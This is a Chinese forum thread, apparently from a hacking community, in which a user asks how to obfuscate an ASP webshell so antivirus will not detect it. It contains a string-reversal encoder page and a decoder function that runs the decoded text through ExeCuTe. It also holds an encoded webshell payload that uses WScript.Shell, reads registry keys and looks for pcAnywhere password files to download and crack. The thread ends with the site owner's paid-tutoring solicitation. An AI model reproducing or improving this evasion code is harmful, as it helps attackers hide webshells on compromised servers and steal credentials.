返回列表 发帖

webshell 加密函数已经写出来了,如何加密webshell

Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "╁", """")
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) +ShiSanNewStr
Else
ShiSanNewStr = vbCrLf + ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function

这是网上流传的一段加解密代码
根据解密代码已经写好加密代码
想免杀webshell,可是具体过程不清楚。
用加密代码加密了webshell中的function 和end function 中间的代码后运行提示 类型不匹配

但是如果自己写一段代码如response.write “abc”
加密后能够成功解密运行输出abc
求解原因。

2# 柔肠寸断

这是加密函数
<html>
<body>
        <form name="test" method="post" action="">
           <textarea name="a" cols="160" rows="20"></textarea><br>
          
           <input type="submit" value="加密">
        </form>
<%
   
dim str,newstr,ps,i
  str=Request.Form("a")
   newstr=replace(str,"""","`")
   newstr=replace(newstr,chr(13)&chr(10),"~")
    for i=1 to len(newstr)   
      ps=mid(newstr,i,1)&ps           
     next
   
   Response.write "加密结果↓↓↓↓↓"&"<br>"
%>
<textarea name="b" cols="160" rows="20">yjx="<%Response.write ps%>"
call unhack(yjx)</textarea>
</body></html>

下面是webshell中的

function unhack(a)
dim newstr,ps,i,str
str=a
  newstr=replace(str,"`","""")
   newstr=replace(newstr,"~",chr(13)&chr(10))
    for i=1 to len(newstr)   
      ps=mid(newstr,i,1)&ps      
     next  
    ExeCuTe(ps)
  end function

yjx="buS dnE~fi dnE~`码密erehwynAcp到得解破并载下录目认默从以可,件文码密erehwynAcp现发>il<` etirW.esnopseR~nehT )`fic.`&emanrevres&`\cetnamyS\ataD noitacilppA\sresU llA\sgnitteS dnA stnemucoD\`&revirdsys(stsixEeliF.osf fI~)`emaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH`(daeRgeR.hsw=emanrevres~)2,)2(redloFlaicepsteG.osF(tfel=evirdsyS~rb<置设=BdpA~1-)sdpA(dnuoBU oT )sdpA(dnuoBL=i roF~ nehT )sdpA(yarrAsI fI~)yeKdpA……………………………………方便浏览中间省略部分加密……………………………………………………………………(daeRgeR.hsW=sdpA~`dniB\egakniL\pipcT\secivreS\100teSlortnoC\METSYS\MLKH`=yeKdpA~fI dnE~1=retlifpipctoN~nehT ``=elbanEsi ro 0=elbanEsi fI~)yeKpipcTelbanE(daergeR.hsW=elbanEsi~`sretliFytiruceSelbanE\sretemaraP\pipcT\secivreS\teSlortnoCtnerruc\METSYS\MLKH`=yeKPIPCTelbanE~`>1=ezis rh<>rb<]测探络网[` etirW.esnopseR~)`llehS.tpircsW`(tcejboetaerc=hsw tes~hsw mid~txen emuser rorre no~)(ofnIlanimreTteG buS"
call unhack(yjx)

TOP

运行提示 类型不匹配
哪个代码出问题了?
希望做站长本人的学生请点击
http://www.3ast.com/viewthread.php?tid=13841
QQ790653916只负责SEO以及收费教学等方面联系,他人勿扰

于智者同行,你会不同凡响;与高人为伍,你会登上巅峰

TOP

返回列表